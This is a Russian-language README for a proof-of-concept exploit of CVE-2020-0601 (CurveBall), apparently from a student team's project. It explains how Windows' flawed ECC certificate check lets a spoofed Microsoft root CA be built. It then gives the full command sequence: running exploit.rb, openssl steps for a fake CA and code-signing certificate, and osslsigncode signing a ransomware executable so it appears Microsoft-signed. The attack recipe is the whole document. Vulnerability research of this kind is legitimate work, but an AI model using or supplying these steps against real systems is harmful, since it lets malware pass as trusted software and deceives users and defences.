
Эксплойт Proof-of-concept для CVE-2020-0601 (CurveBall), демонстрирующий обход проверки сертификатов ECC для подделки доверенного CA и подписи произвольных исполняемых файлов.
Эта уязвимость, известная как CurveBall, вызвана некорректной проверкой сертификатов, использующих алгоритм ECC. Windows пытается проверить ранее проверенные сертификаты из кэша сертификатов, и при этом проверяет только идентичность открытых ключей сертификатов, не проверяя другие параметры.
Для подделки сертификата мы явно задаем параметры следующим образом:
d' = 1
G' = Q
Если вам нужно больше информации, вы можете проверить раздел математических деталей в файле final_report_milestone_IV.pdf.
В этом PoC мы используем "Microsoft ECC Product Root Certificate Authority", который является доверенным сертификатом Microsoft до 2043 года.
Извлечем открытый ключ из CA и изменим его в соответствии с уязвимостью
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Мы создаем новый сертификат x509 на основе этого ключа. Это будет наш собственный поддельный CA.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
Чтобы посмотреть содержимое spoofed_ca.crt
openssl x509 -in spoofed_ca.crt -noout -text
Мы создаем новый ключ. Этот ключ может быть любого типа, какой вы хотите. Он будет использоваться для создания сертификата подписи кода, который мы подпишем нашим собственным CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Далее мы создаем новый запрос на подпись сертификата (CSR). Этот запрос обычно отправляется доверенным CA, но поскольку у нас есть поддельный, мы можем подписать его сами.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Мы подписываем наш новый CSR с помощью нашего поддельного CA и ключа CA. Этот сертификат истечет в 2047 году, в то время как настоящий доверенный CA Microsoft истечет в 2043 году.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Осталось только упаковать сертификат, его ключ и поддельный CA в файл PKCS12 для подписи исполняемых файлов.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Подпишем наш исполняемый файл с помощью файла PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
Теперь у нас есть новенький ransomware подписанный Microsoft :)